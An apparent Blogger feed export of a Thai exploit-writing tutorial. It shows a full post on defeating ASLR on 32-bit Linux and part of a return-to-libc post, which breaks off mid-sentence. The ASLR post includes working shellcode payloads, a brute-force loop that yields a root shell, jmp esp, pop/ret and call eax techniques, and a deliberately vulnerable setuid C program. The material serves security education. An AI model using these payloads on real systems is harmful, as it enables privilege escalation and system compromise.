<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4476954070144250460</id><updated>2012-02-20T10:09:00.240+07:00</updated><category term='file upload'/><category term='PHP'/><category term='writing exploit'/><category term='cryptography'/><category term='SQL Injection'/><title type='text'>Skillz Thai Tutorial</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-8898223067662894970</id><published>2011-10-19T23:18:00.000+07:00</published><updated>2011-10-19T23:18:29.667+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Defeating ASLR</title><content type='html'>&lt;p&gt;ในหัวข้อนี้ ผมจะพูดถึงเรื่อง ASLR (Address Space Layout Randomization) ซึ่งเป็น kernel feature ที่ช่วย mitigrate ปัญหาเรื่อง buffer overflow โดยเมื่อ enable feature นี้ (default บน Linux ปัจจุบัน) จะทำให้ address ของ executable file (ถ้า compile ด้วย PIE option), shared objects, stack, heap (เมื่อค่า &lt;span class="code"&gt;randomize_va_space&lt;/span&gt; เป็น 2) ถูก random เมื่อโปรแกรมเริ่มการทำงาน เรามาดูของจริงกันเลยดีกว่า&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo su -c "echo 1 &gt; /proc/sys/kernel/randomize_va_space"&lt;br /&gt;$ cat /proc/self/maps&lt;br /&gt;00675000-007c8000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;...&lt;br /&gt;00908000-00909000 r-xp 00000000 00:00 0          [vdso]&lt;br /&gt;00cd9000-00cf4000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;00cf4000-00cf5000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;00cf5000-00cf6000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;08048000-08054000 r-xp 00000000 08:01 659        /bin/cat&lt;br /&gt;08054000-08055000 r--p 0000b000 08:01 659        /bin/cat&lt;br /&gt;08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat&lt;br /&gt;08056000-08077000 rw-p 00000000 00:00 0          [heap]&lt;br /&gt;b75d3000-b7612000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE&lt;br /&gt;...&lt;br /&gt;b7742000-b7744000 rw-p 00000000 00:00 0&lt;br /&gt;bfd7a000-bfd8f000 rw-p 00000000 00:00 0          [stack]&lt;br /&gt;$ cat /proc/self/maps&lt;br /&gt;001dd000-00330000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00330000-00331000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00331000-00333000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00333000-00334000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00334000-00337000 rw-p 00000000 00:00 0&lt;br /&gt;0094b000-00966000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;00966000-00967000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;00967000-00968000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;009da000-009db000 r-xp 00000000 00:00 0          [vdso]&lt;br /&gt;08048000-08054000 r-xp 00000000 08:01 659        /bin/cat     # ค่าเดิม&lt;br /&gt;08054000-08055000 r--p 0000b000 08:01 659        /bin/cat&lt;br /&gt;08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat&lt;br /&gt;08056000-08077000 rw-p 00000000 00:00 0          [heap]       # ค่าเดิม&lt;br /&gt;b7628000-b7667000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE&lt;br /&gt;...&lt;br /&gt;b7797000-b7799000 rw-p 00000000 00:00 0&lt;br /&gt;bfaa3000-bfab8000 rw-p 00000000 00:00 0          [stack]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า address เริ่มต้นของ shared objects และ stack นั้นเปลี่ยนไปทุกครั้ง และเมื่อเราเปลี่ยนค่า &lt;span class="code"&gt;randomize_va_space&lt;/span&gt; เป็น 2 โดยครั้งนี้จะเห็นว่า heap address&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo su -c "echo 2 &gt; /proc/sys/kernel/randomize_va_space"&lt;br /&gt;$ cat /proc/self/maps&lt;br /&gt;006be000-006d9000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;006d9000-006da000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;006da000-006db000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;008ea000-00a3d000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00a3d000-00a3e000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00a3e000-00a40000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00a40000-00a41000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00a41000-00a44000 rw-p 00000000 00:00 0&lt;br /&gt;00bcd000-00bce000 r-xp 00000000 00:00 0          [vdso]&lt;br /&gt;08048000-08054000 r-xp 00000000 08:01 659        /bin/cat&lt;br /&gt;08054000-08055000 r--p 0000b000 08:01 659        /bin/cat&lt;br /&gt;08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat&lt;br /&gt;09993000-099b4000 rw-p 00000000 00:00 0          [heap]      # เปลี่ยนแล้ว&lt;br /&gt;b76e6000-b7725000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE&lt;br /&gt;...&lt;br /&gt;b7855000-b7857000 rw-p 00000000 00:00 0&lt;br /&gt;bfac9000-bfade000 rw-p 00000000 00:00 0          [stack]&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ผลของ ASLR นั้น ทำให้เราไม่สามารถที่จะระบุ memory address ของ shellcode เราได้ รวมถึงเทคนิค ret2libc เพราะ libc ก็ถูกโหลดเข้า memory ใน address ที่เปลี่ยนไปเรื่อยๆ สำหรับวิธี defeat ASLR นั้นจะมีอยู่ 3 แบบหลักๆ คือ&lt;/p&gt;&lt;h3&gt;1. Bruteforce&lt;/h3&gt;&lt;p&gt;วิธีนี้ส่วนมากจะใช้ได้เฉพาะกับ 32-bit architecture เนื่องด้วยใน 32-bit architecture จำนวน bit ของ address ที่จะ random นั้นอย่างมากก็แค่ 24 bit แต่ implementation ส่วนมากนั้นจะ random เพียงแค่ 12-16  bit ซึ่งเป็นจำนวนที่น้อยมาก รวมทั้งการที่เราสามารถใช้ NOP sled ใหญ่ๆ ทำให้เมื่อเราเขียนทับ saved eip ด้วยค่า address หนึ่งนั้น มีโอกาสที่จะถูกสูงขึ้นมาก&lt;/p&gt;&lt;p&gt;เงื่อนไขอีกเงื่อนไขสำหรับวิธีนี้ คือเราต้องสามารถลองได้หลายๆ ครั้ง เช่น local exploit ที่เราสามารถเรียก execute กี่ครั้งก็ได้ เรามาดูตัวอย่างกันเลยดีกว่า โดยผมจะเอาตัวอย่างจาก "&lt;a href="http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell-2.html"&gt;Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)&lt;/a&gt;" ซึ่งเรามี exploit อยู่แล้ว&lt;/p&gt;&lt;p&gt;สำหรับวิธี bruteforce ก็คือเขียนทับ saved eip ค่าเดิมไป แล้วสั่ง execute โปรแกรมไปเรื่อยๆ จนกว่า OS จะ random address ที่ทำให้ exploit เราทำงาน ดังนั้น exploit ที่เราเคยทำไปแล้วสามารถนำมาใช้ได้เลย โดยผมจะเพิ่ม NOP sled เป็น 8192 bytes เพื่อเพิ่มโอกาสถูกให้มีมากขึ้น ซึ่งเราจะได้ shell เร็วหรือช้า ก็ขึ้นอยู่ว่า OS สุ่ม address ออกมาอย่างไร&lt;/p&gt;&lt;pre class="code langauge-sh"&gt;&lt;br /&gt;$ while [ 1 ]; do ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x8192 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`; done&lt;br /&gt;Segmentation fault&lt;br /&gt;Segmentation fault&lt;br /&gt;Segmentation fault&lt;br /&gt;...&lt;br /&gt;Segmentation fault&lt;br /&gt;# id&lt;br /&gt;uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;# exit&lt;br /&gt;Segmentation fault&lt;br /&gt;...&lt;br /&gt;Segmentation fault&lt;br /&gt;^C&lt;br /&gt;&lt;/pre&gt;&lt;h3&gt;2. Use non-randomization address&lt;/h3&gt;&lt;p&gt;วิธีนี้คือการใช้ code ในส่วนที่ address ไม่มีการ random เพื่อกระโดดไปที่ shellcode ของเรา ซึ่งโดยปกติ compile option จะไม่มีการ enable PIE ทำให้ส่วน executable binary จะถูกโหลดไปที่ตำแหน่งเดิมของ memory เสมอ&lt;/p&gt;&lt;p&gt;จริงๆ แล้ววิธีนี้ไม่มีวิธีตายตัว คือทำยังไงก็ได้ ให้โปรแกรมกระโดดไปที่ shellcode ของเรา (หลังๆ จะเจอแบบนี้เรื่อยๆ นะครับ) โดยผมจะเอามาให้ดู 3 แบบที่ใช้กันบ่อยๆ เรามาดู code ตัวอย่างสำหรับวิธีนี้กันเลยดีกว่า (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_14_1.c?attredirects=0&amp;d=1"&gt;ex_14_1.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-stack-protector -z norelro -z execstack -o ex_14_1 ex_14_1.c&lt;br /&gt;sudo su -c "chown root: ex_14_1;chmod 4755 ex_14_1"&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;void jmpesp()&lt;br /&gt;{&lt;br /&gt; __asm__ ("jmp *%esp");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void vuln(int unused, const char *src)&lt;br /&gt;{&lt;br /&gt; char buffer[64];&lt;br /&gt; strcpy(buffer, src);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt; vuln(0, argv[1]);&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;มาถึงหัวข้อนี้แล้ว ผมขอข้ามการอธิบายเรื่องช่องโหว่ของโปรแกรม โดยจากโปรแกรมนี้ เราต้องเขียนข้อมูลไปก่อน 76 ตัวแล้วเราจึงค่อยเขียนทับ saved eip ดังนั้น exploit ข้างล่างคือทำให้ eip กระโดดไปทำงานที่ &lt;span class="code"&gt;0x55555555&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_14_1 `perl -e 'print "A"x76,"UUUU"'`&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;ใช้ jmp esp&lt;/h4&gt;&lt;p&gt;เนื่องด้วยหลังคำสั่ง &lt;span class="code"&gt;ret&lt;/span&gt; โปรแกรมจะ pop ค่า saved eip จาก stack ทำให้ stack pointer (esp) ชี้ไป address ถัดไปจากที่เก็บ saved eip ดังนั้นถ้าเราเขียนทับ saved eip เพื่อให้กระโดดไปทำงานที่คำสั่ง &lt;span class="code"&gt;jmp *%esp&lt;/span&gt; โปรแกรมก็จะกระโดดไปที่ address หลังที่เก็บ saved eip ซึ่งถ้าเราวาง shellcode ของเราไว้หลัง saved eip ที่เราเขียนทับ โปรแกรมก็จะทำงาน shellcode ของเรา&lt;/p&gt;&lt;p&gt;ส่วนวิธีการหา &lt;span class="code"&gt;jmp *%esp&lt;/span&gt; ใน binary นั้นอาจใช้ &lt;span class="code"&gt;objdump&lt;/span&gt; ก็ได้ แต่คราวนี้ผมจะใช้ &lt;span class="code"&gt;msfelfscan&lt;/span&gt; เพื่อหา address&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ msfelfscan -j esp ex_14_1&lt;br /&gt;[ex_14_1]&lt;br /&gt;0x080483c7 jmp esp&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อได้ address มาแล้ว exploit ของเราก็จะเป็น&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_14_1 `perl -e 'print "A"x76,"\xc7\x83\x04\x08","\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`&lt;br /&gt;#&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;ใช้ pop* ret&lt;/h4&gt;&lt;p&gt;แนวคิดของวิธีนี้คือ ใช้ค่า address ของ shellcode ที่เก็บไว้ใน stack หลัง saved eip ไม่ไกลมาก ซึ่งส่วนมากเราจะใช้วิธีนี้ได้เมื่อมีการส่ง pointer ที่ชี้ไปยัง shellcode เป็น argument ของ function ที่มีช่องโหว่ หรือ function ที่เรียก function ที่มีปัญหามีการใช้ pointer ที่ชี้ไปยัง shellcode ดังนั้นเมื่อเรา pop ข้อมูลออกจาก stack จน stack pointer (esp) นั้นชี้ไปที่เก็บ address ของ shellcode แล้วสั่ง &lt;span class="code"&gt;ret&lt;/span&gt; โปรแกรมก็จะกระโดดไปที่ shellcode ของเรา&lt;/p&gt;&lt;p&gt;ที่ผมใช้ pop* นั้นหมายถึง อาจจะไม่จำเป็นต้อง pop ก็ได้ หรืออาจจะต้องใช้ pop หลายๆ ครั้ง โดยในตัวอย่างข้างบนนั้น จะเห็นว่า pointer ที่ชี้ไปยัง shellcode ของเรานั้นเป็น argument ที่ 1 ของ &lt;span class="code"&gt;vuln()&lt;/span&gt; ดังนั้นเราต้องใช้ pop 1 ครั้ง แล้วตามด้วยคำสั่ง &lt;span class="code"&gt;ret&lt;/span&gt; และผมจะใช้ &lt;span class="code"&gt;msfelfscan&lt;/span&gt; ในการหาอีกครั้ง&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ msfelfscan -p ex_14_1&lt;br /&gt;[ex_14_1]&lt;br /&gt;0x08048392 pop ebx; pop ebp; ret&lt;br /&gt;0x08048477 pop edi; pop ebp; ret&lt;br /&gt;0x080484a7 pop ebx; pop ebp; ret&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า &lt;span class="code"&gt;msfelfscan&lt;/span&gt; นั้นมีแต่ option ให้หา &lt;span class="code"&gt;pop+pop+ret&lt;/span&gt; ซึ่งเป็นวิธีหลักสำหรับการเขียน exploit บน Windows แบบ SEH based เพราะว่า address ที่โปรแกรมจะกลับไปทำงานหลังทำงานใน Exception Handler นั้นเป็น argument ที่ 3 ของ Exception Handler function ดังนั้นเวลาที่ใช้ option นี้กับตัวอย่างของเรา เราต้องบวก address ไปอีก 1 ดังนั้น address ที่เราจะใช้คือ &lt;span class="code"&gt;0x08048393&lt;/span&gt; และ exploit เราก็จะเป็น&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\x93\x83\x04\x08"'`&lt;br /&gt;#&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;ใช้ jmp eax&lt;/h4&gt;&lt;p&gt;แนวคิดของวิธีนี้ก็คือ เวลา function จะ return ค่านั้นจะทำการ set eax เป็นค่าที่จะ return ดังนั้นถ้า eax เป็น address ของ shellcode เราจะสามารถใช้วิธีนี้ได้ ในตัวอย่างข้างบนนั้น จะเห็นว่า &lt;span class="code"&gt;vuln()&lt;/span&gt; นั้นไม่มีการ return ค่า แต่ &lt;span class="code"&gt;strcpy()&lt;/span&gt; นั้นจะ return address ของ dst ทำให้ eax ชี้ไปที่ address ของ &lt;span class="code"&gt;buffer&lt;/span&gt; และจบ function โดยไม่มีการเปลี่ยนค่า eax&lt;/p&gt;&lt;p&gt;เมื่อเข้าใจกันแล้ว ก็มาหา address ของ &lt;span class="code"&gt;jmp eax&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ msfelfscan -j eax ex_14_1&lt;br /&gt;[ex_14_1]&lt;br /&gt;0x080483bf call eax&lt;br /&gt;0x0804849b call eax&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า &lt;span class="code"&gt;msfelfscan&lt;/span&gt; นั้นเจอเป็น &lt;span class="code"&gt;call eax&lt;/span&gt; ซึ่งจริงๆ ผลลัพธ์นั้นเหมือนกัน คือโปรแกรมกระโดดไปที่ eax ชี้อยู่ และจริงๆ แล้วไม่จำเป็นต้องเป็น eax จะเป็น register ไหนก็ได้ ของเพียงแค่ว่าเราหา jmp ไปหา register นั้นใน executable ได้หรือเปล่า แต่ที่ผมใช้เป็น eax ให้หัวข้อ เพราะมันมีอยู่ในทุกๆ executable&lt;/p&gt;&lt;p&gt;ได้ address มาแล้ว exploit ก็จะเป็น&lt;/p&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\xbf\x83\x04\x08"'`&lt;br /&gt;#&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้เห็นทั้ง 3 แบบไปแล้ว สิ่งที่ผมอยากจะให้สังเกตอีกอย่างคือ วิธีนี้ยังทำให้ exploit ที่เราเขียนนั้นมีทำงานเสมอไม่ว่าเราจะเอา binary นี้ไปรันบน Linux distribution ไหน exploit เราก็จะทำงานได้เสมอ&lt;/p&gt;&lt;h3&gt;3. Information leak&lt;/h3&gt;&lt;p&gt;วิธีนี้คือใช้ช่องโหว่อีกช่องโหว่ของโปรแกรม (บางครั้งเป็นช่องโหว่เดียวกัน) เพื่อที่จะให้โปรแกรมแสดงข้อมูลภายในที่โปรแกรมไม่ตั้งใจให้แสดงเช่น memory address&lt;/p&gt;&lt;p&gt;ช่องโหว่สำหรับ information leak ที่เคยเจอกันแล้วคือ format string bug ส่วนแบบอื่นที่พบบ่อยๆ คือเราสามารทำให้โปรแกรมแสดงข้อมูลที่ไม่ได้ initialize แต่ส่วนมากการเขียน exploit ที่ต้องใช้ช่องโหว่ information leak ช่วยนั้นจะค่อนข้างซับซ้อน ผมจึงขอแสดงตัวอย่างไว้ทีหลัง&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- &lt;a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization"&gt;Address space layout randomization - Wikipedia, the free encyclopedia&lt;/a&gt;&lt;br/&gt;- &lt;a href="http://xorl.wordpress.com/2011/01/16/linux-kernel-aslr-implementation/"&gt;Linux kernel ASLR Implementation&lt;/a&gt;&lt;br/&gt;- &lt;a href="www.ece.cmu.edu/~dbrumley/courses/18739c-s11/docs/aslr.pdf"&gt;ASLR Smack &amp; Laugh Reference&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-8898223067662894970?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/8898223067662894970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/10/defeating-aslr.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8898223067662894970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8898223067662894970'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/10/defeating-aslr.html' title='Defeating ASLR'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-286035637592055543</id><published>2011-09-10T00:35:00.000+07:00</published><updated>2011-09-10T00:35:35.228+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Basic Return-to-libc</title><content type='html'>&lt;p&gt;จากตัวอย่างก่อนหน้านี้ทั้งหมด จะเห็นว่าเราได้มีการ inject shellcode ไว้ใน stack แล้วทำให้ eip ชี้ไปที่ shellcode ของเราใน stack ซึ่งโปรแกรมปกติจะไม่มีการ execute code ใน stack อยู่แล้ว ทำให้เกิดมีการทำ Non-Executable Stack โดยเริ่มต้นทำเฉพาะส่วนของ stack ไม่สามารถ execute code ได้ ซึ่งต่อมาได้มีการทำ Non-Executable (NX) ในส่วนอื่นๆ ที่ writable ด้วย เช่น .bss, heap เป็นต้น&lt;/p&gt;&lt;p&gt;ในหัวข้อนี้ เราจะมีดูวิธีการ bypass เมื่อมีการ enable NX ด้วย return-to-libc (ret2libc) ซึ่งจากตัวอย่างแรก (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_13_1.c?attredirects=0&amp;d=1"&gt;ex_13_1.c&lt;/a&gt;) โดยเราจะ compile ทั้งสองแบบและดู process maps&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/*&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_13_1 ex_13_1.c&lt;br /&gt;gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_1_nx ex_13_1.c&lt;br /&gt;*/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;	getchar();&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-sh"&gt;&lt;br /&gt;$ ./ex_13_1 &amp;&lt;br /&gt;[1] 2020&lt;br /&gt;$ cat /proc/${!}/maps&lt;br /&gt;00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;0012b000-0012c000 r-xp 0001a000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;0012c000-0012d000 rwxp 0001b000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]&lt;br /&gt;0012e000-00131000 rwxp 00000000 00:00 0&lt;br /&gt;00140000-00293000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00293000-00294000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00294000-00296000 r-xp 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00296000-00297000 rwxp 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00297000-0029b000 rwxp 00000000 00:00 0&lt;br /&gt;08048000-08049000 r-xp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1&lt;br /&gt;08049000-0804a000 rwxp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1&lt;br /&gt;bffeb000-c0000000 rwxp 00000000 00:00 0          [stack]&lt;br /&gt;&lt;br /&gt;[1]+  Stopped                 ./ex_13_1&lt;br /&gt;$ fg&lt;br /&gt;./ex_13_1&lt;br /&gt;&lt;br /&gt;$ ./ex_13_1_nx &amp;&lt;br /&gt;[1] 2024&lt;br /&gt;$ cat /proc/${!}/maps&lt;br /&gt;00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;0012b000-0012c000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;0012c000-0012d000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so&lt;br /&gt;0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]&lt;br /&gt;0012e000-00281000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00281000-00282000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00282000-00284000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00284000-00285000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so&lt;br /&gt;00285000-00288000 rw-p 00000000 00:00 0&lt;br /&gt;08048000-08049000 r-xp 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx&lt;br /&gt;08049000-0804a000 rw-p 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx&lt;br /&gt;b7fed000-b7fee000 rw-p 00000000 00:00 0&lt;br /&gt;b7ffd000-b8000000 rw-p 00000000 00:00 0&lt;br /&gt;bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]&lt;br /&gt;&lt;br /&gt;[1]+  Stopped                 ./ex_13_1_nx&lt;br /&gt;$ fg&lt;br /&gt;./ex_13_1_nx&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อเอา option "-z execstack" ออก เราจะเห็นว่า segment ไหนที่ writable จะไม่ executable และถ้าเราลองเอา option นี้ออกในตัวอย่างเก่าๆ ออก จะเห็นว่า exploit ของเราไม่ทำงานแม้แต่อันเดียว เนื่องด้วยเราแก้ไขค่า eip ให้ไปที่ stack ที่ไม่สามารถ execute ได้ ทำให้เกิน segmentation fault&lt;/p&gt;&lt;p&gt;คนแรกที่อธิบายวิธี ret2libc ที่ใช้ bypass NX คือ Solar Designer ซึ่งผมได้ใส่ไว้ใน reference โดยผมจะอธิบายวิธีไม่ตรงกับใน paper ซะทีเดียว แต่หลักการเดียวกัน เพื่อให้ง่ายในการไปต่อให้หัวข้อถัดๆ ไป&lt;/p&gt;&lt;p&gt;concept ของ ret2libc คือแทนที่เราจะใส่ shellcode ที่เป็น system call เพื่อเรียก execve หรืออะไรก็แล้วแต่ เราก็ไปเรียก execve function (หรือ function อะไรก็ได้) ใน libc เลย ซึ่งส่วนนี้ยังไงก็ต้อง executable ส่วนวิธีที่จะเรียก function ใน libc นั้น ก็ต้องกลับไปดูที่เรื่อง &lt;a href="http://thtutz.blogspot.com/2010/12/function-stack.html"&gt;"Function กับ Stack"&lt;/a&gt; ซึ่งเมื่อโปรแกรมทำคำสั่ง &lt;span class="code"&gt;call&lt;/span&gt; แล้วเข้าไปใน function หรือตอนที่จบ function โปรแกรมกำลังจะทำคำสั่ง &lt;span class="code"&gt;ret&lt;/span&gt; จะมี stack ดังนี้&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-yLXGszkmad8/TmeOn0gPWNI/AAAAAAAAAF4/VeML-c36ZUM/s1600/liexp_13_1.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="252" width="400" src="http://4.bp.blogspot.com/-yLXGszkmad8/TmeOn0gPWNI/AAAAAAAAAF4/VeML-c36ZUM/s400/liexp_13_1.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จากตัวอย่างที่ผ่านมา เวลาเราทำ stack based buffer overflow เราจะเขียนทับ saved eip ไปที่ shellcode ของเรา แต่คราวนี้ถ้าเราเขียนทับ saved eip ไปที่ execve function ใน libc ซึ่งเมื่อโปรแกรมทำงานคำสั่ง &lt;span 